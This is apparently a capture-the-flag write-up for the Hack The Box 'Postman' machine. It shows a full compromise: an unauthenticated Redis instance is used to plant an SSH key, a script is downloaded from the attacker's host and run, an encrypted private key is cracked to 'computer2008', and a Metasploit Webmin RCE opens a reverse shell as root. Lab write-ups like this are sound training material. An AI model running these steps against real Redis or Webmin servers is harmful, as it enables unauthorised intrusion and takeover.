---
search:
  exclude: true
---
# Postman Writeup

![](img/39.png)

## Introduction :

Postman is an easy linux box released back in november 2019.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
    → nmap -p- -T4 10.10.10.160
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 21:25 CEST
    Nmap scan report for 10.10.10.160
    Host is up (0.041s latency).
    Not shown: 65531 closed ports
    PORT      STATE SERVICE
    22/tcp    open  ssh
    80/tcp    open  http
    6379/tcp  open  redis
    10000/tcp open  snet-sensor-mgmt
    
    Nmap done: 1 IP address (1 host up) scanned in 26.48 seconds
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
    → nmap -sCV -p 22,80,6379,10000 10.10.10.160
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-24 21:26 CEST
    Nmap scan report for 10.10.10.160
    Host is up (0.034s latency).
    
    PORT      STATE SERVICE VERSION
    22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
    |   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
    |_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
    80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: The Cyber Geek's Personal Website
    6379/tcp  open  redis   Redis key-value store 4.0.9
    10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
    |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 36.79 seconds
    

## **Part 2 : Getting User Access**

Our nmap scan picked up a Redis 4.0.x instance running on port 6379
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
    → searchsploit redis 4
    ------------------------------------------------------------------------------------------ ---------------------------------
     Exploit Title                                                                            |  Path
    ------------------------------------------------------------------------------------------ ---------------------------------
    Microsoft Windows 10 - Diagnostics Hub Standard Collector Service Privilege Escalation    | windows/local/45244.txt
    Redis - Replication Code Execution (Metasploit)                                           | linux/remote/48272.rb
    Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)                             | linux/remote/47195.rb
    Redis 5.0 - Denial of Service                                                             | linux/dos/44908.txt
    Redis-cli <****5.0 - Buffer Overflow (PoC)                                                   | linux/local/44904.py
    ------------------------------------------------------------------------------------------ ---------------------------------
    Shellcodes: No Results

As you can see, there are a few exploits available for redis 4.0.x and one of them is an unauthenticated command execxution and filewrites. So let's test that with redis-cli:
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
    → sudo apt install redis -y
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [blog/HTB/Easy]
    → redis-cli -h 10.10.10.160
    10.10.10.160:6379> CONFIG GET *
      1) "dbfilename"
      2) "dump.rdb"
      3) "requirepass"
      4) ""
      5) "masterauth"
      6) ""
      7) "cluster-announce-ip"
      8) ""
      9) "unixsocket"
     10) ""
     11) "logfile"
     12) "/var/log/redis/redis-server.log"
     13) "pidfile"
     14) "/var/run/redis/redis-server.pid"
    [...]
    

Here we see that the default folder for redis seems to be /var/lib/redis, so we're going to check if the redis user has SSH authentication configured by checking for a .ssh folder: 
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → redis-cli -h 10.10.10.160
    
    10.10.10.160:6379> CONFIG GET dir
    1) "dir"
    2) "/var/lib/redis"
    
    10.10.10.160:6379> CONFIG SET dir /var/lib/redis/idontexist/
    (error) ERR Changing directory: No such file or directory
    
    10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh/
    OK
    
    

So here we see that a .ssh folder does exist in redis' home directory, let's write our public SSH key to it:
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
    → ssh-keygen -t ed25519
    Generating public/private ed25519 key pair.
    Enter file in which to save the key (/home/nothing/.ssh/id_ed25519):
    Enter passphrase (empty for no passphrase):
    Enter same passphrase again:
    Your identification has been saved in /home/nothing/.ssh/id_ed25519
    Your public key has been saved in /home/nothing/.ssh/id_ed25519.pub
    The key fingerprint is:
    SHA256:WUW671jwTAkg4RGKPvDZ4twbg6pWVynYTDS/HaTqbE0 nothing@nowhere
    The key's randomart image is:
    +--[ED25519 256]--+
    |    .o=o.. .o    |
    |   . +ooo. o     |
    |. . * .o..+      |
    | + + +.ooo.o .   |
    |  * ..oES.o o    |
    | o *o.o    *     |
    |  = =+ .    =    |
    | o  .+     +     |
    |=   .     . .    |
    +----[SHA256]-----+
    
    [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
    → cat ~/.ssh/id_ed25519.pub
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere
    
    [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
    → (echo -e "\n\n";cat ~/.ssh/id_ed25519.pub;echo -e "\n\n") > pubkey.txt
    
    [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
    → cat pubkey.txt
    
    
    
    ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere
    
    
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
    → cat pubkey.txt| redis-cli -h 10.10.10.160 -x set ssh_key
    OK
    
    

Here you can see we made sure that the public key had newline characters on either side, that is because if we didn't, redis would add our pubkey onto another, without jumping to a newline, obviously it wouldn't work, then we proceed:
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
    → redis-cli -h 10.10.10.160
    
    10.10.10.160:6379> get ssh_key
    "\n\n\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBxPko22MsKasagzuR1ikUtC3idsATUzCyCbU1qCZRmf nothing@nowhere\n\n\n\n"
    
    10.10.10.160:6379> CONFIG SET dir /var/lib/redis/.ssh
    OK
    
    10.10.10.160:6379> CONFIG SET dbfilename authorized_keys
    OK
    
    10.10.10.160:6379> save
    OK
    
    10.10.10.160:6379> exit
    
    

Once that's done, simply ssh as the redis user:
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/29 ] [~/HTB/Postman]
    → ssh redis@10.10.10.160
    Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
    
     * Canonical Livepatch is available for installation.
       - Reduce system reboots and improve kernel security. Activate at:
         https://ubuntu.com/livepatch
    Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1
    
    redis@Postman:~$ id
    uid=107(redis) gid=114(redis) groups=114(redis)
    
    redis@Postman:~$
    
    

Now that we have a ssh access to the box as the redis user, we're going to enumerate the box, to do so we can use the old fashioned unix-privesc-check or we can use a newer solution called 'LinPEAS', i'm going to use it for the other boxes aswell, so i'll clone the repository in my ~/Tools directory:
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/Tools]
    → git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite
    Cloning into 'privilege-escalation-awesome-scripts-suite'...
    remote: Enumerating objects: 5452, done.
    remote: Counting objects: 100% (239/239), done.
    remote: Compressing objects: 100% (149/149), done.
    remote: Total 5452 (delta 139), reused 132 (delta 85), pack-reused 5213
    Receiving objects: 100% (5452/5452), 18.72 MiB | 3.94 MiB/s, done.
    Resolving deltas: 100% (3250/3250), done.
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/Tools]
    → cd ~/HTB/Postman
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → sudo updatedb ; locate linpeas.sh
    [sudo] password for nothing:
    /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → cp $(locate linpeas.sh) .
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → ls -lash linpeas.sh
    336K -rwxr-xr-x 1 nothing nothing 334K May 25 08:52 linpeas.sh
    
    

Now let's transfer the file onto the box:
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    

Then download the script onto the box, you can either put it in **/tmp** or **/dev/shm** :
    
    
    redis@Postman:~$ wget http://10.10.14.13:9090/linpeas.sh -O /dev/shm/peas.sh
    --2021-05-25 08:03:20--  http://10.10.14.13:9090/linpeas.sh
    Connecting to 10.10.14.13:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 341863 (334K) [text/x-sh]
    Saving to: ‘/dev/shm/peas.sh’
    
    /dev/shm/peas.sh                                              100%[=================================================================================================================================================>] 333.85K   700KB/s    in 0.5s
    
    2021-05-25 08:03:20 (700 KB/s) - ‘/dev/shm/peas.sh’ saved [341863/341863]
    
    redis@Postman:~$ chmod +x /dev/shm/peas.sh
    redis@Postman:~$ /dev/shm/peas.sh
    
    

` ![](prg/39_001.png)

linpeas.sh's output is quite massive so here's the important parts, if you're using tmux you can search for the output itself like this **CTRL+B PgUp, CTRL+S 'ssh files'** :

![](prg/39_002.png)

So Peas found an id_rsa.bak file in the **/opt** folder:
    
    
    redis@Postman:~$ cat /opt/id_rsa.bak
    -----BEGIN RSA PRIVATE KEY-----
    Proc-Type: 4,ENCRYPTED
    DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C
    
    JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
    cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
    7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
    cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
    1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
    EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
    UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
    Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
    t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
    5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
    P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
    jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
    SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
    l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
    0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
    S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
    hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
    Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
    XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
    b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
    WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
    KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
    npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
    VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
    X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
    -----END RSA PRIVATE KEY-----
    

As the title suggests, this is an encrypted private key file, so let's crack it with rockyou.txt using john:
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists]
    → sudo gunzip rockyou.txt.gz
    [sudo] password for nothing:
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists]
    → ls -lash rockyou.txt
    134M -rw-r--r-- 1 root root 134M Jul 17  2019 rockyou.txt
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [/usr/share/wordlists]
    → cd ~/HTB/Postman
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → vim pkey
    
    

Then we convert the private key to a hash with ssh2john.py and crack it with john:
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → locate ssh2john.py
    /usr/share/john/ssh2john.py
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → /usr/share/john/ssh2john.py pkey > hash
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → john hash --fork=4 -w=/usr/share/wordlists/rockyou.txt
    Created directory: /home/nothing/.john
    Using default input encoding: UTF-8
    Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
    Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
    Cost 2 (iteration count) is 2 for all loaded hashes
    Node numbers 1-4 of 4 (fork)
    Note: This format may emit false positives, so it will keep trying even after
    finding a possible candidate.
    Press 'q' or Ctrl-C to abort, almost any other key for status
    computer2008     (pkey)
    2 1g 0:00:00:05 DONE (2021-05-25 09:11) 0.1848g/s 662739p/s 662739c/s 662739C/sabygurl69
    3 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 661514p/s 661514c/s 661514C/sa6_123
    4 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 660302p/s 660302c/s 660302C/s *7¡Vamos!
    1 0g 0:00:00:05 DONE (2021-05-25 09:11) 0g/s 660299p/s 660299c/s 660299C/sie168
    Waiting for 3 children to terminate
    Session completed
    
    

And we found the password computer2008. but the question is for which user is this for ? We can look at it from either /home or /etc/passwd:
    
    
    redis@Postman:~$ ls -lash /home
    total 12K
    4.0K drwxr-xr-x  3 root root 4.0K Sep 11  2019 .
    4.0K drwxr-xr-x 22 root root 4.0K Sep 30  2020 ..
    4.0K drwxr-xr-x  6 Matt Matt 4.0K Sep 11  2019 Matt
    
    redis@Postman:~$ cat /etc/passwd | grep bash
    root:x:0:0:root:/root:/bin/bash
    Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
    redis:x:107:114::/var/lib/redis:/bin/bash
    
    

Here we see that the Matt user has a home directory, and a valid bash shell. So let's get to the user using sudo:
    
    
    redis@Postman:~$ su Matt
    Password:
    Matt@Postman:/var/lib/redis$ id
    uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)
    Matt@Postman:/var/lib/redis$ cd ~
    Matt@Postman:~$ cat user.txt
    23XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And that's it! We managed to get the Matt user flag!

## **Part 3 : Getting Root Access**

Now we need to find a way to get root on this box, first instinct tells us to check sudo -l:
    
    
    Matt@Postman:~$ sudo -l
    [sudo] password for Matt:
    Sorry, user Matt may not run sudo on Postman.
    
    

But that doesn't help us. Nor does anything else on this user, this is a bit of a rabbithole. Let's move onto the next thing our nmap scan picked up, the webmin service on port 10000
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → curl http://10.10.10.160:10000/
    
    
    # Error - Document follows
    
    
    
    
    This web server is running in SSL mode. Try the URL <https://Postman:10000/> instead.  
    
    
    
    
    

So let's check it in https instead, we login as the Matt user with his password computer2008:

![](prg/39_003.png)

![](prg/39_004.png)
    
    
    Matt@Postman:~$ cd /etc/webmin/
    
    Matt@Postman:/etc/webmin$ cat version
    1.910
    
    

So here's our hint, this is an outdated webmin version, so let's check what exploits we can use on it:
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → searchsploit webmin 1.9
    ------------------------------------------------------ ---------------------------------
     Exploit Title                                        |  Path
    ------------------------------------------------------ ---------------------------------
    Webmin 1.900 - Remote Command Execution (Metasploit)  | cgi/remote/46201.rb
    Webmin 1.910 - 'Package Updates' Remote Command Execu | linux/remote/46984.rb
    Webmin 1.920 - Remote Code Execution                  | linux/webapps/47293.sh
    Webmin 1.920 - Unauthenticated Remote Code Execution  | linux/remote/47230.rb
    Webmin 1.962 - 'Package Updates' Escape Bypass RCE (M | linux/webapps/49318.rb
    Webmin <****1.290 / Usermin <****1.220 - Arbitrary File Dis | multiple/remote/1997.php
    Webmin < ****1.290 / Usermin < ****1.220 - Arbitrary File Dis | multiple/remote/2017.pl
    Webmin < ****1.920 - 'rpc.cgi' Remote Code Execution (Met | linux/webapps/47330.rb
    ------------------------------------------------------ ---------------------------------
    Shellcodes: No Results

So basically we can pick one of these, or we can make use of this proof of concept [here](https://github.com/KyleV98/Webmin-1.910-Exploit):

TLDR we can get a RCE using burpsuite because the package updater is vulnerable to command injections through the **u** POST parameter. If you click on **System** on the panel to the left, then click on **Software Package Updates** , you can turn on Burpsuite to intercept, and then just click **Update Selected Packages:** So let's use metasploit:
    
    
    [ 10.10.14.13/23 ] [ /dev/pts/6 ] [~/HTB/Postman]
    → msfconsole
    
    
      Metasploit Park, System Security Interface
      Version 4.0.5, Alpha E
      Ready...
      > access security
      access: PERMISSION DENIED.
      > access security grid
      access: PERMISSION DENIED.
      > access main security grid
      access: PERMISSION DENIED....and...
      YOU DIDN'T SAY THE MAGIC WORD!
      YOU DIDN'T SAY THE MAGIC WORD!
      YOU DIDN'T SAY THE MAGIC WORD!
      YOU DIDN'T SAY THE MAGIC WORD!
      YOU DIDN'T SAY THE MAGIC WORD!
      YOU DIDN'T SAY THE MAGIC WORD!
      YOU DIDN'T SAY THE MAGIC WORD!
    
    
           =[ metasploit v6.0.44-dev                          ]
    + -- --=[ 2131 exploits - 1139 auxiliary - 363 post       ]
    + -- --=[ 592 payloads - 45 encoders - 10 nops            ]
    + -- --=[ 8 evasion                                       ]
    
    Metasploit tip: You can use help to view all
    available commands
    
    msf6 > search webmin
    
    Matching Modules
    ================
    
       #  Name                                         Disclosure Date  Rank       Check  Description
       -  ----                                         ---------------  ----       -----  -----------
       0  exploit/unix/webapp/webmin_show_cgi_exec     2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
       1  auxiliary/admin/webmin/file_disclosure       2006-06-30       normal     No     Webmin File Disclosure
       2  exploit/linux/http/webmin_packageup_rce      2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
       3  exploit/unix/webapp/webmin_upload_exec       2019-01-17       excellent  Yes    Webmin Upload Authenticated RCE
       4  auxiliary/admin/webmin/edit_html_fileaccess  2012-09-06       normal     No     Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
       5  exploit/linux/http/webmin_backdoor           2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor
    
    
    Interact with a module by name or index. For example info 5, use 5 or use exploit/linux/http/webmin_backdoor
    
    msf6 > use 2
    
    

We're going to use the RCE module:
    
    
    msf6 > use 2
    [*] Using configured payload cmd/unix/reverse_perl
    msf6 exploit(linux/http/webmin_packageup_rce) > show options
    
    Module options (exploit/linux/http/webmin_packageup_rce):
    
       Name       Current Setting  Required  Description
       ----       ---------------  --------  -----------
       PASSWORD                    yes       Webmin Password
       Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
       RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
       RPORT      10000            yes       The target port (TCP)
       SSL        false            no        Negotiate SSL/TLS for outgoing connections
       TARGETURI  /                yes       Base path for Webmin application
       USERNAME                    yes       Webmin Username
       VHOST                       no        HTTP server virtual host
    
    
    Payload options (cmd/unix/reverse_perl):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LHOST                   yes       The listen address (an interface may be specified)
       LPORT  4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Webmin <= 1.910
    
    

We need to set the LHOST, RHOST, SSL, USERNAME and PASSWORD options before running the exploit:
    
    
    msf6 exploit(linux/http/webmin_packageup_rce) > set LHOST tun0
    LHOST => 10.10.14.13
    msf6 exploit(linux/http/webmin_packageup_rce) > set RHOST 10.10.10.160
    RHOST => 10.10.10.160
    msf6 exploit(linux/http/webmin_packageup_rce) > set SSL true
    [!] Changing the SSL option's value may require changing RPORT!
    SSL => true
    msf6 exploit(linux/http/webmin_packageup_rce) > run
    
    [-] Exploit failed: One or more options failed to validate: USERNAME, PASSWORD.
    [*] Exploit completed, but no session was created.
    msf6 exploit(linux/http/webmin_packageup_rce) > set USERNAME Matt
    USERNAME => Matt
    msf6 exploit(linux/http/webmin_packageup_rce) > set PASSWORD computer2008
    PASSWORD => computer2008
    msf6 exploit(linux/http/webmin_packageup_rce) > run
    
    [*] Started reverse TCP handler on 10.10.14.13:4444
    [+] Session cookie: 4cc0c13f51b9e777f7a9e0cdc9a93277
    [*] Attempting to execute the payload...
    [*] Command shell session 1 opened (10.10.14.13:4444 -> 10.10.10.160:49564) at 2021-05-25 09:56:39 +0200
    
    id
    uid=0(root) gid=0(root) groups=0(root)
    cat /root/root.txt
    3aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it! We managed to get a root shell and print the root flag.

## **Conclusion**

Here we can see the progress graph :

![](img/39_graph.png)

